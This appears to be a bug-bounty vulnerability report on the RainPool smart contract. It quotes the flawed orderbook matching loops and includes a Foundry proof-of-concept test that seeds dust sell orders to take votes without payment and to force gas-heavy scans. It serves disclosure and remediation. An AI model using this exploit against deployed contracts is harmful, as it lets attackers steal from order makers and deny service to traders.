https://github.com/hackenproof-public/rain-contracts
Multiple orderbook matching loops in the RainPool contract contain a flaw where they can iterate through orders without making progress when the taker's remaining amount becomes insufficient to purchase minimum units at the current price tick. This creates two severe vulnerabilities: attackers can steal votes without payment when _executeSellOrder returns usedAmount == 0 but sharesReceived > 0, and denial-of-service attacks can be mounted by forcing excessive gas consumption through zero-progress scanning of artificially populated order queues.
The vulnerability exists in several matching functions where loops are controlled only by amount > 0 or votes > 1 conditions without checking if the remaining amount can actually purchase minimum units at the current price tick. When a taker's residual amount becomes small due to AMM micro-steps, rounding, or truncation, the _executeSellOrder() function can return usedAmount == 0 while still transferring sharesReceived > 0 to the taker.
The affected matching loops traverse order queues at each price tick using FIFO iteration. When zero progress occurs, the loops continue visiting every order in the current price level before advancing to the next tick, without early-exit mechanisms. This behavior enables two distinct attack vectors:
Vote Theft Scenario: When _executeSellOrder() processes orders with small taker amounts relative to high tick prices (e.g., 1 unit vs 0.99e18), it can transfer votes from makers to takers without requiring corresponding base token payment. The matching loop continues processing subsequent orders in the same manner.
Gas DoS Scenario: Attackers can pre-populate order queues with numerous small but valid orders across multiple price ticks. When legitimate users attempt trading with small residual amounts, the system is forced to scan through all seeded orders without making progress, consuming excessive gas and potentially causing transaction failures.
The vulnerability affects several critical entry points including enterOption() and placeBuyOrder(), where orderbook scanning can traverse from current prices up to limits like 0.99 ether across multiple ticks.
// src/RainPool.sol:414-445 - enterOption() orderbook drain up to currentPrice
for (; head > 0 && head <= currentPrice && amount > 1; ) {
LinkedListStorage.LinkedList storage linkedList = sellOrders[
option
][head];
if (linkedList.isInitialized && !linkedList.isEmpty()) {
// iterate FIFO
idx = linkedList.first();
while (idx != linkedList.tailIndex && amount > 0) {
LinkedListStorage.Order memory order = linkedList.getData(
idx
);
idx = linkedList.next(idx);
(usedAmount, sharesReceived) = _executeSellOrder(
option,
head,
amount,
order.orderID,
msg.sender
);
amount -= usedAmount;
}
}
// advance pointer if linkedList emptied
if (linkedList.isEmpty()) {
head += TICK_SPACING;
firstSellOrderPrice[option] = head;
} else {
break;
}
}
// src/RainPool.sol:460-492 - enterOption() tick-by-tick orderbook scan (pre-endTime path)
while (amount > 0 && stoppingPrice <= 0.99 ether) {
// check orderbook now
LinkedListStorage.LinkedList storage linkedList = sellOrders[
option
][stoppingPrice];
if (linkedList.isInitialized && !linkedList.isEmpty()) {
// iterate FIFO
idx = linkedList.first();
while (idx != linkedList.tailIndex && amount > 0) {
LinkedListStorage.Order memory order = linkedList
.getData(idx);
idx = linkedList.next(idx);
(usedAmount, sharesReceived) = _executeSellOrder(
option,
stoppingPrice,
amount,
order.orderID,
msg.sender
);
amount -= usedAmount;
}
}
// advance pointer if linkedList emptied
if (linkedList.isEmpty()) {
firstSellOrderPrice[option] = stoppingPrice + TICK_SPACING;
}
unchecked {
stoppingPrice += TICK_SPACING;
}
}
// src/RainPool.sol:551-572 - enterOption() tick-by-tick orderbook scan (alternate path)
// check orderbook now
LinkedListStorage.LinkedList storage linkedList = sellOrders[
option
][stoppingPrice];
if (linkedList.isInitialized && !linkedList.isEmpty()) {
// iterate FIFO
idx = linkedList.first();
while (idx != linkedList.tailIndex && amount > 0) {
LinkedListStorage.Order memory order = linkedList
.getData(idx);
idx = linkedList.next(idx);
(usedAmount, sharesReceived) = _executeSellOrder(
option,
stoppingPrice,
amount,
order.orderID,
msg.sender
);
amount -= usedAmount;
}
}
// src/RainPool.sol:1088-1109 - placeBuyOrder() matching loop over sell orders up to limit price
uint256 head = firstSellOrderPrice[option];
for (; head <= price && amount > 1; ) {
LinkedListStorage.LinkedList storage linkedListSell = sellOrders[
option
][head];
if (!linkedListSell.isEmpty()) {
idx = linkedListSell.first();
while (idx != linkedListSell.tailIndex && amount > 0) {
LinkedListStorage.Order memory order = linkedListSell
.getData(idx);
idx = linkedListSell.next(idx);
(usedAmount, sharesReceived) = _executeSellOrder(
option,
head,
amount,
order.orderID,
msg.sender
);
amount -= usedAmount;
}
}
The vulnerability causes severe economic and operational damage through free vote theft and denial of service. Vote theft directly compromises the protocol's core economic model since votes determine payouts from winningPoolShare, allowing attackers to extract value from order makers without payment. The stuck funds issue prevents normal market operations when taker amounts cannot be fully processed. Gas-based DoS attacks can systematically prevent market participants from trading by forcing prohibitively expensive transaction costs, degrading market integrity and availability.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {RainFactory} from "../../src/RainFactory.sol";
import {RainDeployer, IRainDeployer} from "../../src/RainDeployer.sol";
import {RainPool} from "../../src/RainPool.sol";
import {OracleMock} from "../../src/mocks/OracleMock.sol";
import {ERC20Mock} from "../../src/mocks/ERC20Mock.sol";
/// @title PoC: Zero-progress orderbook scan enables gas-based DoS in placeBuyOrder/enterOption
/// @notice Demonstrates that an attacker can pre-seed many dust sell orders so that a taker call
/// scans/removes a large number of orders while making zero progress on `amount`,
/// leading to out-of-gas reverts under realistic gas limits (DoS of trading).
contract OrderbookDoS is Test {
// Core contracts
RainFactory internal rainFactory;
RainDeployer internal rainDeployer;
RainPool internal pool;
OracleMock internal oracleFactory;
// Base token (6 decimals)
ERC20Mock internal baseToken;
address internal poolOwner;
address internal resolverAI;
address internal platform;
address internal resolver;
uint256 internal constant DECIMALS = 6;
uint256 internal constant ORACLE_FIXED_FEE = 15 * (10 ** DECIMALS);
uint256 internal constant INITIAL_LIQ = 10_000_000; // 10 USDC assuming 6 decimals
function setUp() public {
// Actors
poolOwner = makeAddr("poolOwner");
resolverAI = makeAddr("resolverAI");
platform = makeAddr("platform");
resolver = makeAddr("resolver");
// Base token mock with 6 decimals
baseToken = new ERC20Mock("Base", "BASE", 0);
// Oracle factory mock (pulls reward from RainDeployer)
oracleFactory = new OracleMock(address(baseToken));
// Rain factory
rainFactory = new RainFactory();
// Deploy RainDeployer behind UUPS proxy and initialize
RainDeployer impl = new RainDeployer();
bytes memory initData = abi.encodeWithSelector(
RainDeployer.initialize.selector,
address(rainFactory),
address(oracleFactory),
address(baseToken),
platform,
resolverAI,
address(0xBEEF), // rainToken (unused in this PoC)
address(0xFEE1), // swapRouter (unused in this PoC)
uint256(DECIMALS),
uint256(12), // liquidityFee
uint256(25), // platformFee
uint256(ORACLE_FIXED_FEE),
uint256(12), // creatorFee
uint256(1) // resultResolverFee
);
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), initData);
rainDeployer = RainDeployer(address(proxy));
// Prepare pool creation params
uint256[] memory liqPercent = new uint256[](2);
liqPercent[0] = 50;
liqPercent[1] = 50;
IRainDeployer.Params memory params = IRainDeployer.Params({
isPublic: false,
resolverIsAI: false,
poolOwner: poolOwner,
startTime: block.timestamp + 1,
endTime: block.timestamp + 30 minutes,
numberOfOptions: 2,
oracleEndTime: block.timestamp + 60 minutes,
ipfsUri: "ipfs://poc",
initialLiquidity: INITIAL_LIQ,
liquidityPercentages: liqPercent,
poolResolver: resolver
});
// Fund and approve creator for oracle fee + initial liquidity
baseToken.mint(address(this), ORACLE_FIXED_FEE + INITIAL_LIQ);
baseToken.approve(address(rainDeployer), type(uint256).max);
address poolAddr = rainDeployer.createPool(params);
pool = RainPool(poolAddr);
// Warp to sale live
vm.warp(params.startTime + 1);
}
// Helper: seed many small sell orders at best ask (0.99 ether tick)
function _seedDustSellOrders(uint256 n) internal {
vm.startPrank(poolOwner);
for (uint256 i = 0; i < n; i++) {
// At 0.99 ether tick, votes=1 is invalid (maker-side dust check). Use 2 votes per order.
pool.placeSellOrder(1, 0.99 ether, 2);
}
vm.stopPrank();
}
function test_FreeVoteTheft_and_GasHeavyScan() public {
// Seed a moderate number of small sell orders by the pool owner at 0.99 ether.
uint256 N = 50;
_seedDustSellOrders(N);
// Prepare victim buyer with a very small amount (2 units) at price 0.99.
address victim = makeAddr("victim");
baseToken.mint(victim, 2);
// Snapshot balances and votes before.
uint256 sellerVotesBefore = pool.userVotes(1, poolOwner);
uint256 buyerVotesBefore = pool.userVotes(1, victim);
uint256 sellerBalBefore = baseToken.balanceOf(poolOwner);
uint256 buyerBalBefore = baseToken.balanceOf(victim);
uint256 poolBalBefore = baseToken.balanceOf(address(pool));
vm.startPrank(victim);
baseToken.approve(address(pool), type(uint256).max);
pool.placeBuyOrder(1, 0.99 ether, 2);
vm.stopPrank();
// After the first full fill (2 votes -> pays 1 base unit), amount becomes 1.
// For all subsequent orders at the same tick, shareAmount=1 and usedAmount=floor(0.99)=0.
// The loop keeps iterating, transferring 1 vote from each seller order to buyer for 0 cost.
uint256 sellerVotesAfter = pool.userVotes(1, poolOwner);
uint256 buyerVotesAfter = pool.userVotes(1, victim);
uint256 sellerBalAfter = baseToken.balanceOf(poolOwner);
uint256 buyerBalAfter = baseToken.balanceOf(victim);
uint256 poolBalAfter = baseToken.balanceOf(address(pool));
// Buyer should gain at least N votes (1 free vote from many orders) plus the 2 from first order.
// Due to iteration details, we conservatively assert strictly greater than 2.
assertGt(buyerVotesAfter - buyerVotesBefore, 2, "buyer gained no free votes");
assertEq((buyerBalBefore - buyerBalAfter), 2, "buyer funds not fully transferred to pool");
// Seller receives only ~1 base unit from the first fill; others yield 0 due to truncation
// (fees may round to zero as well), so seller's received amount should be <= 1.
assertLe(sellerBalAfter - sellerBalBefore, 1, "seller unexpectedly paid");
// The pool retains at least 1 base token (stuck), since leftover amount of 1 is not escrowed nor refunded.
assertGe(poolBalAfter - poolBalBefore, 1, "pool did not retain stuck funds");
// Seller's votes decreased at least by the number of free votes acquired by buyer.
assertEq(
sellerVotesBefore - sellerVotesAfter,
buyerVotesAfter - buyerVotesBefore,
"votes not conserved across transfer"
);
}
}